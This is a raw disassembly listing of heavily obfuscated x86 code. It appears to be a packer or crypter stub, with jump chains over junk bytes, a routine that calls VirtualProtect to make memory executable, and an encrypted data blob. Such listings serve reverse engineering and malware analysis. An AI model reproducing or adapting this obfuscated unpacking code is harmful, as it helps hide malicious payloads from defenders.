loc_4681AD: ; CODE XREF: DMN1:loc_468193j
cmc
xchg ebx, ecx
add edx, edi
jmp short loc_4681BF
; ---------------------------------------------------------------------------
dd 0A8734965h, 0DD745583h
db 0FEh, 50h, 16h
; ---------------------------------------------------------------------------
loc_4681BF: ; CODE XREF: DMN1:004681B2j
xor ecx, 2CA099FDh
jmp short loc_4681CA
; ---------------------------------------------------------------------------
db 0D0h
db 2Ah, 8Ah
; ---------------------------------------------------------------------------
loc_4681CA: ; CODE XREF: DMN1:004681C5j
xchg ebp, edi
jmp short loc_4681E5
; ---------------------------------------------------------------------------
dw 466Eh
dd 0C2FF8438h, 8AF0AD10h, 0A000237Fh, 3220DDA6h, 0FFD1A62Bh
; ---------------------------------------------------------------------------
inc ebp
loc_4681E5: ; CODE XREF: DMN1:004681CCj
jmp short loc_4681FB
; ---------------------------------------------------------------------------
db 10h
dd 0E6DFDC39h, 6C5B6FC0h, 6F65C59h, 0D7D47F4Bh
db 0D8h, 2Fh, 18h
; ---------------------------------------------------------------------------
loc_4681FB: ; CODE XREF: DMN1:loc_4681E5j
jmp short loc_468207
; ---------------------------------------------------------------------------
push 0C87F39F8h
mov edx, 0DD1620Bh
loc_468207: ; CODE XREF: DMN1:loc_4681FBj
bswap esi
clc
xchg ebp, ebp
jmp short loc_46822C
; ---------------------------------------------------------------------------
dw 2BECh
dd 0B245C61Ch, 0F20E1FFDh, 49761B9Ah, 64A00BAEh, 0DAB48EE4h
dd 0D286A235h, 0D97C1298h
; ---------------------------------------------------------------------------
loc_46822C: ; CODE XREF: DMN1:0046820Cj
jmp short loc_468249
; ---------------------------------------------------------------------------
dw 8B6Eh
; ---------------------------------------------------------------------------
add edi, ds:59AC1BDFh
mov eax, 2DBD8362h
cwde
mov ebp, 0ACCDE1A0h
mov dword ptr [ebp-42h], 3D645F25h
scasb
loc_468249: ; CODE XREF: DMN1:loc_46822Cj
mov esp, [edx]
jmp short loc_468255
; ---------------------------------------------------------------------------
db 12h, 52h, 0D0h
dd 749434F8h
db 0B0h
; ---------------------------------------------------------------------------
loc_468255: ; CODE XREF: DMN1:0046824Bj
dec esi
stc
jmp short loc_46825C
; ---------------------------------------------------------------------------
db 0F6h, 98h, 36h
; ---------------------------------------------------------------------------
loc_46825C: ; CODE XREF: DMN1:00468257j
jmp short loc_468273
; ---------------------------------------------------------------------------
dw 0E555h
dd 0C924E236h, 553D6969h, 40D97445h, 173FDCEFh
; ---------------------------------------------------------------------------
adc [eax+edi*2], ch
loc_468273: ; CODE XREF: DMN1:loc_46825Cj
add ecx, 1263C87Ah
xor esp, [edi]
jmp short loc_468297
; ---------------------------------------------------------------------------
db 65h, 24h, 0CDh
dd 7D34CC8Eh, 0A383E5FCh, 3016DB11h, 3D76952Eh, 5399C9Dh
db 0DFh, 0D9h, 2Bh
; ---------------------------------------------------------------------------
loc_468297: ; CODE XREF: DMN1:0046827Bj
jmp short loc_4682A3
; ---------------------------------------------------------------------------
db 87h, 0A5h, 2Fh
dd 0BEF0988Ah
db 0CDh, 5Eh, 0CAh
; ---------------------------------------------------------------------------
loc_4682A3: ; CODE XREF: DMN1:loc_468297j
xchg ebp, edx
jmp short loc_4682B6
; ---------------------------------------------------------------------------
db 5Fh
dd 0B4132FECh, 2BAEAE97h, 692FB579h
db 54h, 0B2h
; ---------------------------------------------------------------------------
loc_4682B6: ; CODE XREF: DMN1:004682A5j
jmp short loc_4682B9
; ---------------------------------------------------------------------------
db 0B3h
; ---------------------------------------------------------------------------
loc_4682B9: ; CODE XREF: DMN1:loc_4682B6j
xchg esp, [edi]
jmp short loc_4682CF
; ---------------------------------------------------------------------------
db 5Eh, 8Ah, 25h
dd 300B3A74h, 0D1B867DBh, 8C794E0h
db 0E4h, 3, 0E6h
; ---------------------------------------------------------------------------
loc_4682CF: ; CODE XREF: DMN1:004682BBj
jmp short loc_4682E7
; ---------------------------------------------------------------------------
db 3, 2 dup(41h)
dd 933A5CB2h, 0D3A9BE0Ah, 4A463E4h, 42FD7E2Eh
db 0D8h, 1Ah, 0E2h
; ---------------------------------------------------------------------------
loc_4682E7: ; CODE XREF: DMN1:loc_4682CFj
jmp short loc_468307
; ---------------------------------------------------------------------------
db 0ECh, 50h, 0DAh
dd 28ADC40Dh, 0F06DABD5h, 2AF6BEDh, 0C96025A2h, 39EB2A64h
dd 0D4E907B7h
db 90h
; ---------------------------------------------------------------------------
push ebp
pop eax
loc_468307: ; CODE XREF: DMN1:loc_4682E7j
jmp short loc_468312
; ---------------------------------------------------------------------------
db 0EEh, 76h, 1Dh
dd 0D5FE12D1h
db 0A0h, 0F3h
; ---------------------------------------------------------------------------
loc_468312: ; CODE XREF: DMN1:loc_468307j
jmp short $+2
xchg ebx, esp
jmp short loc_46832E
; ---------------------------------------------------------------------------
dd 84A0C63Eh, 0F7308F3Eh, 0F0832904h, 963E16DEh, 0B3702ACAh
db 63h, 46h
; ---------------------------------------------------------------------------
loc_46832E: ; CODE XREF: DMN1:00468316j
clc
jmp short loc_468341
; ---------------------------------------------------------------------------
db 3Dh, 14h, 0C8h
; ---------------------------------------------------------------------------
xchg ah, [edi-2186D127h]
pop ds
and eax, [edi-36833500h]
loc_468341: ; CODE XREF: DMN1:0046832Fj
rcl esi, 20h
jmp short loc_468354
; ---------------------------------------------------------------------------
dw 0B9FEh
dd 9A55CEE9h, 0B167B1BCh, 147D82DDh
; ---------------------------------------------------------------------------
loc_468354: ; CODE XREF: DMN1:00468344j
add ebp, 483F126Fh
clc
jmp short loc_468371
; ---------------------------------------------------------------------------
db 7, 0D9h, 2Ch
dd 0C9981A1Fh, 6D00C27Ch, 0C38274F0h, 0A55BF71Ah
; ---------------------------------------------------------------------------
lodsb
loc_468371: ; CODE XREF: DMN1:0046835Bj
rol ebx, 1
cmc
jmp short loc_468386
; ---------------------------------------------------------------------------
mul byte ptr [esi]
and al, 0B8h
mov dl, 8Dh
sub edi, [ecx-6]
sub al, 0B0h
sahf
std
adc edi, [esi+43h]
loc_468386: ; CODE XREF: DMN1:00468374j
not esi
jmp short loc_4683A4
; ---------------------------------------------------------------------------
dw 763Eh
dd 3C4655CEh, 0B5A5824Bh, 0D9274819h, 4DC34774h, 0DEE9D309h
dd 2DC28F5Ah
; ---------------------------------------------------------------------------
loc_4683A4: ; CODE XREF: DMN1:00468388j
add ebx, 0F1533F5Eh
jmp short loc_4683B9
; ---------------------------------------------------------------------------
dd 0D090D1Fh, 0DDB41D68h, 0E732ED73h
db 29h
; ---------------------------------------------------------------------------
loc_4683B9: ; CODE XREF: DMN1:004683AAj
jmp short loc_4683C1
; ---------------------------------------------------------------------------
db 0CFh
; ---------------------------------------------------------------------------
mov word ptr [ebp+46h], ss
jge short near ptr byte_46842E
loc_4683C1: ; CODE XREF: DMN1:loc_4683B9j
bswap ebp
test ebp, 6A3439A9h
xchg ebx, [edi]
jmp short loc_4683DD
; ---------------------------------------------------------------------------
db 12h, 19h, 36h
dd 68E60E86h, 0DD8897D4h, 0DCA39A28h
db 0DDh
; ---------------------------------------------------------------------------
loc_4683DD: ; CODE XREF: DMN1:004683CBj
inc ebp
cmc
bswap esi
jmp short loc_4683EE
; ---------------------------------------------------------------------------
retf 86E8h
; ---------------------------------------------------------------------------
lodsb
adc eax, 5847F7F6h
dec ebp
cld
loc_4683EE: ; CODE XREF: DMN1:004683E1j
jmp short loc_468406
; ---------------------------------------------------------------------------
dd 43D063D6h, 2A1378A7h, 0A8CA2A75h, 0D0A613F9h, 2907896Fh
db 7Dh, 0D3h
; ---------------------------------------------------------------------------
loc_468406: ; CODE XREF: DMN1:loc_4683EEj
xchg esi, ebx
jmp short loc_46840F
; ---------------------------------------------------------------------------
dw 0B85Ah
db 1Ah, 44h, 2Eh
; ---------------------------------------------------------------------------
loc_46840F: ; CODE XREF: DMN1:00468408j
jmp short loc_46842A
; ---------------------------------------------------------------------------
db 60h, 1Bh, 5Fh
dd 529E682Dh, 9A8ED13Bh, 0CEF497A5h, 2F48A36Fh, 0E5088BC7h
db 0DFh, 60h
; ---------------------------------------------------------------------------
loc_46842A: ; CODE XREF: DMN1:loc_46840Fj
xchg edx, edi
jmp short loc_46842F
; ---------------------------------------------------------------------------
byte_46842E db 1Ah ; CODE XREF: DMN1:004683BFj
; ---------------------------------------------------------------------------
loc_46842F: ; CODE XREF: DMN1:0046842Cj
cmc
mov ecx, edi
xchg edx, edi
loc_468434: ; CODE XREF: DMN1:004684AFj
jmp short loc_46843B
; ---------------------------------------------------------------------------
dw 0E297h
db 0CEh, 4Dh, 0F7h
; ---------------------------------------------------------------------------
loc_46843B: ; CODE XREF: DMN1:loc_468434j
add ecx, eax
jmp short loc_468452
; ---------------------------------------------------------------------------
cmp al, 0B6h
fsubr dword ptr [esi+6Bh]
xchg eax, edx
enter 0FFFF8DD8h, 3Eh
imul esi, [ebp+6], -66h
sub bl, [eax-6Dh]
leave
inc edi
loc_468452: ; CODE XREF: DMN1:0046843Dj
sbb ebp, 0FFB16644h
jmp short loc_468463
; ---------------------------------------------------------------------------
loc_46845A: ; CODE XREF: DMN1:004684BFj
scasb
push ebp
sub ch, al
jmp short loc_4684DC
; ---------------------------------------------------------------------------
db 3Eh, 0F9h, 2Dh
; ---------------------------------------------------------------------------
loc_468463: ; CODE XREF: DMN1:00468458j
xchg edi, esi
mov [ecx], edi
jmp short loc_46846C
; ---------------------------------------------------------------------------
db 8, 2 dup(49h)
; ---------------------------------------------------------------------------
loc_46846C: ; CODE XREF: DMN1:00468467j
test edi, 9740E56Ah
jmp short loc_468481
; ---------------------------------------------------------------------------
dd 60746549h, 5F4680B0h, 900BC0DDh
db 69h
; ---------------------------------------------------------------------------
loc_468481: ; CODE XREF: DMN1:00468472j
jmp short loc_4684A0
; ---------------------------------------------------------------------------
db 46h
dd 3A8F2876h, 4E69E3BDh, 15BE0D6Dh, 0D58BF85Eh, 829F49E2h
dd 3102928Ch, 6B26A04Bh
; ---------------------------------------------------------------------------
loc_4684A0: ; CODE XREF: DMN1:loc_468481j
stc
jmp short loc_4684A8
; ---------------------------------------------------------------------------
db 0A4h
dd 0DE35483Bh
; ---------------------------------------------------------------------------
loc_4684A8: ; CODE XREF: DMN1:004684A1j
bswap ecx
jmp short loc_4684C8
; ---------------------------------------------------------------------------
cld
cmp eax, [ebx]
jnp short loc_468434
mov esp, 1EBC4394h
ror dword ptr [esi+35FB0074h], cl
rcr dword ptr [ebp+3Bh], cl
jbe short loc_46845A
rcr byte ptr [ebx], 9
or byte ptr [esi+62h], 0DCh
loc_4684C8: ; CODE XREF: DMN1:004684AAj
jmp short loc_4684D1
; ---------------------------------------------------------------------------
dw 3477h
dd 91551871h
db 19h
; ---------------------------------------------------------------------------
loc_4684D1: ; CODE XREF: DMN1:loc_4684C8j
jmp short loc_4684E2
; ---------------------------------------------------------------------------
db 1Fh
dd 8EACD11Dh, 25A80A0Bh
; ---------------------------------------------------------------------------
loc_4684DC: ; CODE XREF: DMN1:0046845Ej
lahf
sub eax, 0DE6F9985h
loc_4684E2: ; CODE XREF: DMN1:loc_4684D1j
xor edi, 4813B58Ch
jmp short $+2
clc
jmp short loc_468502
; ---------------------------------------------------------------------------
db 7Fh, 4Dh, 0C2h
dd 0CF865585h, 0F7D64601h, 0A3A26D1Fh, 86E0E853h
db 0DBh, 0A1h
; ---------------------------------------------------------------------------
loc_468502: ; CODE XREF: DMN1:004684EBj
jmp short loc_46850A
; ---------------------------------------------------------------------------
dd 0EA14C4EFh
; ---------------------------------------------------------------------------
cmp dh, al
loc_46850A: ; CODE XREF: DMN1:loc_468502j
add edx, 2
jmp short loc_46852E
; ---------------------------------------------------------------------------
db 0CEh
dd 0E197F23Fh, 34B77494h, 8245171Dh, 297EC0FDh, 7CBAC863h
dd 0F38CB08Dh, 2CB1D771h
; ---------------------------------------------------------------------------
aad 29h
loc_46852E: ; CODE XREF: DMN1:0046850Dj
jmp short loc_46853B
; ---------------------------------------------------------------------------
dd 860036D2h, 0FA38DACAh
db 0A7h, 55h, 25h
; ---------------------------------------------------------------------------
loc_46853B: ; CODE XREF: DMN1:loc_46852Ej
xchg ebx, edi
jmp short loc_468552
; ---------------------------------------------------------------------------
db 3Fh
dd 0EA31BA34h, 0A118769Ah, 2B057237h, 2FF0388Bh
db 0C2h, 40h
; ---------------------------------------------------------------------------
loc_468552: ; CODE XREF: DMN1:0046853Dj
jmp short loc_468560
; ---------------------------------------------------------------------------
sal dword ptr [edi+79h], 0AAh
mov esi, 0E2985E1Bh
pop edi
sbb edi, esi
loc_468560: ; CODE XREF: DMN1:loc_468552j
std
jmp short loc_46857A
; ---------------------------------------------------------------------------
daa
cmp dword ptr [edx], 5
mov bl, 0B4h
mov esi, 2A72B322h
or bh, ch
xor dh, bh
db 36h
cli
lds ebx, [ebp-362B618Fh]
loc_46857A: ; CODE XREF: DMN1:00468561j
inc edx
jmp short loc_46858C
; ---------------------------------------------------------------------------
sub ch, dl
cmp [eax], bh
pop ds
fdiv dword ptr [edx]
retf
; ---------------------------------------------------------------------------
db 8Eh, 0E4h, 62h
dd 18165511h
; ---------------------------------------------------------------------------
loc_46858C: ; CODE XREF: DMN1:0046857Bj
xchg esp, ebx
jmp short loc_4685A1
; ---------------------------------------------------------------------------
dd 15D43CD5h, 33DD207Ch, 69C536E6h, 0E7D48A9Bh
db 36h
; ---------------------------------------------------------------------------
loc_4685A1: ; CODE XREF: DMN1:0046858Ej
jmp short loc_4685A4
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4685A4: ; CODE XREF: DMN1:loc_4685A1j
jmp short loc_4685BC
; ---------------------------------------------------------------------------
dw 4A0Ah
dd 240F667h, 7FCFC19Ch, 3F2C4C4Ah, 6F807074h, 0D5670646h
; ---------------------------------------------------------------------------
loc_4685BC: ; CODE XREF: DMN1:loc_4685A4j
jmp short loc_4685CF
; ---------------------------------------------------------------------------
dw 513Dh
dd 0B18DEEB3h, 44E8098Ch, 84EB8129h
db 95h, 0Eh, 1Ah
; ---------------------------------------------------------------------------
loc_4685CF: ; CODE XREF: DMN1:loc_4685BCj
std
xchg edx, ebx
jmp short loc_4685DC
; ---------------------------------------------------------------------------
dd 0AA57DEEFh, 0F8B9A87Eh
; ---------------------------------------------------------------------------
loc_4685DC: ; CODE XREF: DMN1:004685D2j
test ebp, 36B99957h
jmp short loc_4685E6
; ---------------------------------------------------------------------------
jnz short loc_4685F9
loc_4685E6: ; CODE XREF: DMN1:004685E2j
jmp short loc_4685F1
; ---------------------------------------------------------------------------
dd 0A05BDCA5h, 8B9A706Dh
; ---------------------------------------------------------------------------
pop ebx
loc_4685F1: ; CODE XREF: DMN1:loc_4685E6j
inc ebx
jmp short loc_468607
; ---------------------------------------------------------------------------
dd 0EC08A0E3h
; ---------------------------------------------------------------------------
pushf
loc_4685F9: ; CODE XREF: DMN1:004685E4j
scasb
push 66865D24h
bswap ebp
scasd
out 0A8h, al ; Interrupt Controller #2, 8259A
sub bl, [edx]
aaa
loc_468607: ; CODE XREF: DMN1:004685F2j
cmc
xchg esp, esi
jmp short loc_468621
; ---------------------------------------------------------------------------
dd 28167756h, 833BFAE2h, 0B534956Dh, 0DDD99D90h, 0FE002D70h
db 0A2h
; ---------------------------------------------------------------------------
loc_468621: ; CODE XREF: DMN1:0046860Aj
jmp short loc_46862F
; ---------------------------------------------------------------------------
db 9Dh
dd 49F2ACE9h, 1EE0BDA9h
db 0A8h, 81h, 0A2h
; ---------------------------------------------------------------------------
loc_46862F: ; CODE XREF: DMN1:loc_468621j
jmp short loc_468648
; ---------------------------------------------------------------------------
db 80h, 25h, 70h
dd 48FB517Fh, 0B8147A85h, 9F5DFF69h, 46743E33h, 2C7E2D6Dh
; ---------------------------------------------------------------------------
loc_468648: ; CODE XREF: DMN1:loc_46862Fj
sub edx, 1
jz short loc_4686B8
jmp short loc_468664
; ---------------------------------------------------------------------------
db 0C7h
dd 0E216D25Ch, 8C7C2E2Fh, 0F586BF07h, 0B80FA948h, 0C72E504Fh
; ---------------------------------------------------------------------------
loc_468664: ; CODE XREF: DMN1:0046864Dj
jmp short loc_468669
; ---------------------------------------------------------------------------
dw 0C0AEh
db 19h
; ---------------------------------------------------------------------------
loc_468669: ; CODE XREF: DMN1:loc_468664j
xchg edi, ebx
cld
jmp short loc_468689
; ---------------------------------------------------------------------------
mov esi, 128B2E8Eh
push ebx
icebp
dec esp
xor esi, edx
pop ds
rol dh, 1
retf
; ---------------------------------------------------------------------------
dd 0E8804E2Ch, 8DBBC953h, 48B9E444h
db 6Dh
; ---------------------------------------------------------------------------
loc_468689: ; CODE XREF: DMN1:0046866Cj
jmp short $+2
xchg ecx, edx
stc
jmp short $+2
std
stc
dec edx
jmp short loc_4686AC
; ---------------------------------------------------------------------------
db 5Eh, 0B3h, 7Ah
dd 83025141h, 0EB96F49Fh, 52C4DA9Bh, 1238EA07h, 0F91BE79Fh
; ---------------------------------------------------------------------------
loc_4686AC: ; CODE XREF: DMN1:00468693j
not esi
bswap esi
cld
xchg ebp, esp
jmp loc_468104
; ---------------------------------------------------------------------------
loc_4686B8: ; CODE XREF: DMN1:0046864Bj
xchg ebp, eax
jmp short loc_4686BD
; ---------------------------------------------------------------------------
db 10h
; ---------------------------------------------------------------------------
loc_4686BD: ; CODE XREF: DMN1:004686BAj
jmp short loc_4686CA
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
mov ch, 0AEh
retn
; ---------------------------------------------------------------------------
stc
std
pop edx
retf 272Eh
; ---------------------------------------------------------------------------
db 0CAh
; ---------------------------------------------------------------------------
loc_4686CA: ; CODE XREF: DMN1:loc_4686BDj
jmp short $+2
bswap eax
jmp short loc_4686E5
; ---------------------------------------------------------------------------
dd 36B75840h, 8C438DE6h, 1DD26967h, 0BE452D78h, 0C8413B55h
; ---------------------------------------------------------------------------
popf
loc_4686E5: ; CODE XREF: DMN1:004686CEj
jmp short loc_468701
; ---------------------------------------------------------------------------
db 2Eh
dd 461FDC81h, 7BB76A2Ch, 0A669447Bh, 3CE2108h, 3839A007h
dd 787FA0FDh
db 15h
; ---------------------------------------------------------------------------
loc_468701: ; CODE XREF: DMN1:loc_4686E5j
jmp short loc_468704
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_468704: ; CODE XREF: DMN1:loc_468701j
std
jmp short loc_46871B
; ---------------------------------------------------------------------------
and al, 0D9h
cmp [edx+60A350A2h], eax
dec eax
retf 585Ah
; ---------------------------------------------------------------------------
db 0D5h
dd 0EA5DCF8Dh
; ---------------------------------------------------------------------------
sub bh, dh
dec edi
loc_46871B: ; CODE XREF: DMN1:00468705j
jmp short loc_468729
; ---------------------------------------------------------------------------
db 2 dup(8Eh), 71h
dd 0FD0DAAD8h, 353AA80Bh
; ---------------------------------------------------------------------------
push esp
loc_468729: ; CODE XREF: DMN1:loc_46871Bj
std
jmp short loc_468734
; ---------------------------------------------------------------------------
dd 47FC76E2h, 82A96D5Bh
; ---------------------------------------------------------------------------
loc_468734: ; CODE XREF: DMN1:0046872Aj
jmp short loc_468744
; ---------------------------------------------------------------------------
dw 96A9h
db 8Ah, 0D2h
dw 23B2h
dd 4CA75246h, 69EF44F8h
; ---------------------------------------------------------------------------
loc_468744: ; CODE XREF: DMN1:loc_468734j
jmp short loc_46875C
; ---------------------------------------------------------------------------
dw 24DEh
dd 88FA5h, 0AADB53D2h, 4DBF2779h, 0FECF5786h, 72C22FF2h
; ---------------------------------------------------------------------------
loc_46875C: ; CODE XREF: DMN1:loc_468744j
pop edi
jmp short loc_468765
; ---------------------------------------------------------------------------
db 6Eh
; ---------------------------------------------------------------------------
cmp eax, 6AACA79Bh
loc_468765: ; CODE XREF: DMN1:0046875Dj
not edi
std
jmp short loc_46877A
; ---------------------------------------------------------------------------
dw 0E6A1h
dd 6965943Eh, 0F742A25h, 0EEB4CD9Ah
; ---------------------------------------------------------------------------
xchg cl, ah
loc_46877A: ; CODE XREF: DMN1:00468768j
jmp short loc_46878F
; ---------------------------------------------------------------------------
dd 996C420Dh, 66188987h, 0C555075h, 0E0E74F87h
db 18h, 1, 75h
; ---------------------------------------------------------------------------
loc_46878F: ; CODE XREF: DMN1:loc_46877Aj
jmp short loc_4687AC
; ---------------------------------------------------------------------------
db 85h, 2Fh, 2Ch
dd 7E4B4095h, 31B81FA3h, 9273EA40h, 0C2420363h, 38DD339Dh
dd 948CB827h
; ---------------------------------------------------------------------------
loc_4687AC: ; CODE XREF: DMN1:loc_46878Fj
jmp short loc_4687CC
; ---------------------------------------------------------------------------
dw 42CEh
dd 0C7473660h, 0B8DB8FCCh, 2E42981Fh, 39732C21h, 0DF56E3E2h
dd 6A91FD3Dh, 0B590F0D0h
; ---------------------------------------------------------------------------
loc_4687CC: ; CODE XREF: DMN1:loc_4687ACj
bswap esi
jmp short loc_4687E7
; ---------------------------------------------------------------------------
scasb
retf 0FAD7h
; ---------------------------------------------------------------------------
mov ebx, 2E7D4F20h
inc edx
rsqrtps xmm5, oword ptr [ecx-5Ah]
pop ebx
inc esp
mov ds:97C9EE40h, al
adc ah, [edi]
loc_4687E7: ; CODE XREF: DMN1:004687CEj
jmp short loc_4687EA
; ---------------------------------------------------------------------------
db 25h
; ---------------------------------------------------------------------------
loc_4687EA: ; CODE XREF: DMN1:loc_4687E7j
jmp short loc_468807
; ---------------------------------------------------------------------------
dd 58A039FEh, 0BBF9EAF5h, 0E1966649h, 0E4EBD846h, 7658F0D3h
dd 335FEBFEh
; ---------------------------------------------------------------------------
leave
xchg eax, esp
cli
loc_468807: ; CODE XREF: DMN1:loc_4687EAj
jmp short loc_46880A
; ---------------------------------------------------------------------------
db 8Eh
; ---------------------------------------------------------------------------
loc_46880A: ; CODE XREF: DMN1:loc_468807j
jmp short loc_468826
; ---------------------------------------------------------------------------
dd 3E1AAFF4h, 8B169257h, 0CA5AF1F5h, 0F1A960Bh, 0FE2792F2h
dd 62F99265h
db 0E4h, 0A8h
; ---------------------------------------------------------------------------
loc_468826: ; CODE XREF: DMN1:loc_46880Aj
std
jmp loc_467A0F
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_46882C proc near ; CODE XREF: DMN1:00468896p
var_24 = dword ptr -24h
var_18 = byte ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor edx, 31333936h
xor edx, 6AAD93DBh
mov eax, 10000000h
add edx, eax
add esp, 10h
mov ebp, [esp-10h+arg_4]
push edx
pusha
push 0
lea edx, [esp+18h+var_18]
push edx
push 40h
push 150B3h
add [esp+24h+var_24], 1000h
push eax
add eax, 1000h
add eax, 46023h
call dword ptr [eax]
add esp, 4
popa
retn
sub_46882C endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov ecx, 8000h
mov edx, 6F49755Ah
mov eax, 3F0F5031h
loc_468886: ; CODE XREF: DMN1:00468893j
add eax, 276D6A46h
xor edx, eax
add dx, ax
rol edx, 7
loop loc_468886
push eax
call sub_46882C
leave
retn
; ---------------------------------------------------------------------------
align 10h
dd 36h dup(0)
dd 45000100h, 50746978h, 65636F72h, 1007373h, 72695600h
dd 6C617574h, 746F7250h, 746365h, 47000h, 4700Eh, 0
dd 6E72656Bh, 32336C65h, 6C6C642Eh, 2 dup(0)
dd 0FFFFFF00h, 4702BFFh, 4701F00h, 5 dup(0)
dd 4600000h, 1000h, 30C600h, 4Fh dup(0)
dd 397F3E00h, 0BEAADF5Dh, 0A8D8DF5Ch, 0F40590F9h, 0E88B7BB3h
dd 5B07F940h, 85490764h, 3554AD6h, 4F0C122Fh, 4FF26C27h
dd 0BD0DC8Ah, 47000D52h, 6913BB0Fh, 0D1898693h, 885366C4h
dd 18630A54h, 59D0F5ADh, 1A3AE94Ah, 6B97DA62h, 0B5CF7386h
dd 315B051Bh, 0D8365EC4h, 0B06FE841h, 3FC4AC2Dh, 0CCFF13D2h
dd 0FE4B83E2h, 0D7D375CCh, 18ABBC5Ah, 9E1D4002h, 0DE3E0304h
dd 0C41D0926h, 0B26755EAh, 65B6BAA1h, 9DF93675h, 0FD6143CEh
dd 9B83059Ch, 0DC2BA2D0h, 50A500FAh, 82993105h, 7A475DD6h
dd 4874E65Fh, 7BDDE44Fh, 81D8EB93h, 5B9FF2ABh, 65D9F3FEh
dd 0DF50759Bh, 9C87E2CDh, 0C97690Eh, 1998F783h, 971B51DBh
dd 1184C240h, 9B3BEEC5h, 2C58FE28h, 0EB71BCCFh, 75212BE6h
dd 4BE28E67h, 0AA87D855h, 8FB04FC3h, 0C3180DCFh, 0E90610CAh
dd 6B76AB10h, 0FC8764A2h, 0F3930080h, 0D7ECED60h, 0C14EE53h
dd 8EB9D948h, 0F3211459h, 410D2CD4h, 4846C0B0h, 31500424h
dd 4C0C2ACEh, 1015E74Dh, 0BCE5D0D0h, 8E9518C4h, 0FBCB67C0h
dd 0FB5E8452h, 0E4C255FBh, 1F7CF214h, 45B04149h, 0DC954870h
dd 345EDF2Eh, 8E530715h, 49E03D93h, 6E4C6EE2h, 1CF71286h
dd 61206D74h, 0C8D12C87h, 5FAFD83Ah, 0AC672DEAh, 3D7C873Bh
dd 0CBFE3482h, 57E4F8Eh, 59BA1ED1h, 52F1451h, 95A59338h
dd 8669D84Ah, 65D5A4B1h, 0B525A896h, 981A7453h, 6FCE1874h
dd 446C1427h, 716DA0E0h, 93D4FC6Ah, 9ECF3A86h, 0C04F1327h
dd 24E005B9h, 3F4C544Dh, 3A8B0B57h, 0A36BB44Eh, 425ADC4Ah
dd 126A1861h, 0FE550219h, 0F67706Ah, 0C0FC3D66h, 5FE3EEDFh
dd 0AE4CD4A5h, 0C70DE52Ch, 1BE51672h, 0A93971Eh, 55419E4Bh
dd 49D08F8Ah, 8E9C1D1Eh, 7702DEE3h, 49E1B557h, 27B70819h
dd 5C907FFAh, 0E9038C29h, 8B35A9B4h, 7207118Bh, 516F544Bh
dd 4395EBA9h, 0F0120F39h, 98F48AE2h, 43205BFEh, 17000764h
dd 7861B210h, 6D8CB2BBh, 25EB1873h, 8D5ECA69h, 4F12BFF4h
dd 4A872247h, 0F8CDD488h, 29537AFBh, 5FE6B97Ah, 0E2DD70E4h
dd 37D5EBCCh, 4C8F1830h, 0DF4FB75Ah, 0F0251661h, 0B419B707h
dd 0A1BA7D44h, 0A831E9B9h, 0EC7660E3h, 0E97E3DABh, 2ED3B8C6h
dd 0F24E6883h, 0A7DFE452h, 61F8D6C3h, 22938BC8h, 0A464DE13h
dd 0A8E253CDh, 0E34A4092h, 461A16B4h, 4B18F5BEh, 0B2B2C852h
dd 64C20113h, 676BD115h, 7EC44FD6h, 152D2CC4h, 9CFCBF5Dh
dd 0D95F9070h, 231C613Eh, 92FBF3F3h, 0C76612A8h, 7A3843F7h
dd 4B69DAB4h, 0C11A87F0h, 0F7A8F1D6h, 0E1242DECh, 0B2CFE208h
dd 6715BA88h, 7538C63Eh, 0A343F6A7h, 0F2CB88A3h, 688EF5F6h
dd 0B042377Ah, 90DE647Eh, 0F0599C08h, 4C67B519h, 74AB9727h
dd 8ACC074Ah, 0B2CC97E3h, 0E443B9D1h, 3C1ADAD1h, 6C3208FDh
dd 627F3F55h, 17E39521h, 0E4E7368Bh, 0CB8B9A66h, 150E2346h
dd 0BA7BB40h, 5DD324FFh, 6A3ECC62h, 13EB2894h, 97FA75BBh
dd 56933F44h, 0BCC94054h, 1EAB32CAh, 0DB94D7BDh, 255981EEh
dd 47555D84h, 6E789A19h, 0A3E5DD0h, 24643B84h, 2BC8E38Ch
dd 2EEBB756h, 0A3A4E20Ah, 0F5F9B37Ah, 0EE76072Ah, 0F2FA1563h
dd 84123D0Bh, 444B12C7h, 0BE161EAFh, 98C29CF3h, 4CDAF6Fh
dd 0EB983945h, 531585F3h, 4F5D600Eh, 48646558h, 0EE893A1Bh
dd 63AB49C5h, 6AC460F1h, 0A6DC029h, 0A08E5266h, 63D20ED3h
dd 0BAD94191h, 24835ABAh, 6D29A128h, 59AF51CBh, 0CBFA62F7h
dd 57A387A8h, 52F5120h, 382E23A0h, 0F3D5A2F9h, 7734E80h
dd 0B003F899h, 0B54B1390h, 0AE56F0F5h, 0BFA330B0h, 31E49B54h
dd 12E6D8F7h, 84390828h, 0EB39FB46h, 68FD1853h, 0AFE800D6h
dd 0E501A35h, 312D6C56h, 0D44BB0BCh, 21C5B25Bh, 13DEF6DBh
dd 0EFFB310h, 4AE7D5Bh, 0DF6FB9A2h, 0AFD74B26h, 266BE966h
dd 0E4B0BF5Ch, 2F595735h, 47F43800h, 932F889Ch, 78574959h
dd 3804824h, 43271E22h, 3A7B19ACh, 0A46B57B2h, 0F77E2C70h
dd 0A4285F19h, 7DCE3887h, 9515BA2Bh, 3354A4B5h, 0AD87E810h
dd 0A2668AB0h, 95590DCAh, 0C73CEDC3h, 0DFC138AFh, 480D9FFDh
dd 0C5E4AE28h, 0BCBC402Dh, 0E1FC04F5h, 0D7EBBDAEh, 687CDA2Fh
dd 0D4B71A0Dh, 41F1C4FAh, 0F4D98D31h, 44EAF6BEh, 784CD479h
dd 0E7247DCh, 4979259h, 0D29C3B93h, 0D1434C9Bh, 3F03FD64h
dd 8634FD07h, 0A23C0749h, 9A2DB4ADh, 9C3AC5A5h, 504DC8h
dd 0C00EAD6Fh, 4A9A1744h, 0F5C91B34h, 0EF676519h, 5D4FE628h
dd 24B48B3Eh, 3A8E0167h, 24EDA977h, 0D77CCC3Ah, 800C6B7h
dd 598A8CCFh, 9CF38E33h, 0BFF2751Bh, 18B19362h, 713B4A6Fh
dd 0AC310FE6h, 905C1A2Fh, 2089A5CBh, 0C1995A6Fh, 9B48E5A9h
